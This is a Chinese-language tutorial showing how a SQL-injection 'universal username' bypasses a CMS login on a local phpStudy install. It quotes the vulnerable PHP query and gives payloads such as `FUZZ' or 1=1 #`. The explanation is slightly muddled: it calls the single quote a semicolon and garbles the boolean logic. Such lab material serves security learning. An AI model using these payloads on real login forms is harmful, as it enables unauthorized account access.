SQL注入之万能用户名

文章目录

  • 分析代码
  • 原理
  • 实现

分析代码

在安装的cms数据库目录C:\phpStudy\WWW\cms\admin下找到login.action.php文件,查看第20行,发现如下php代码:

$user_row = $db->getOneRow("select userid from cms_users where username = '".$username."' and password='".md5 ( $password ) ."'");
if (!empty($user_row )) {
	setcookie (userid, $user_row ['userid'] ); 
	header("Location: index.php");
}else{
	exit("");

这段代码先用select语句做了数据库的查询操作,查询用户输入的用户名和密码(密码做md5加密),然后将查询的结果给if语句做判断,如果根据用户名密码不为空且能查到userid,就登录成功;否则,输出**“用户名或密码不正确”**。

如果我们能使用一个万能用户名,使if语句的判断永远为真,那么用任意密码就能成功登录数据库。

原理

将找到的这段select语句

"select userid from cms_users where username = '".$username."' and password='".md5 ( $password ) ."'"

去除php格式改写为

select userid from cms_users where username = 'admin' or '1'='1' and password='*****'

或直接用#注释掉后面的语句

select userid from cms_users where username = 'FUZZ' or '1'='1' # and password='*****'

这段语句中有逻辑与和逻辑或,以第一种方法为例(第二种方法密码段被注释),在逻辑运算中,一般先做与运算,再做或运算:

'1'='1' and password='*****' =false
'admin' or false = true

也就是说,这段代码如果由数据库中if语句判断,它的结果永远为true,这样就能实现用万能用户名登录数据库的目的。

实现

输入万能用户名和任意密码:

FUZZ' or 1=1 #
****

FUZZ后面的分号是为了让该用户名在username = '$username’语句中与前一个分号共同组成完整的字符,不能省略。

输入如下:

SQL注入之万能用户名_第1张图片

登录成功:

SQL注入之万能用户名_第2张图片

你可能感兴趣的:(网络安全,sql,oracle,数据库)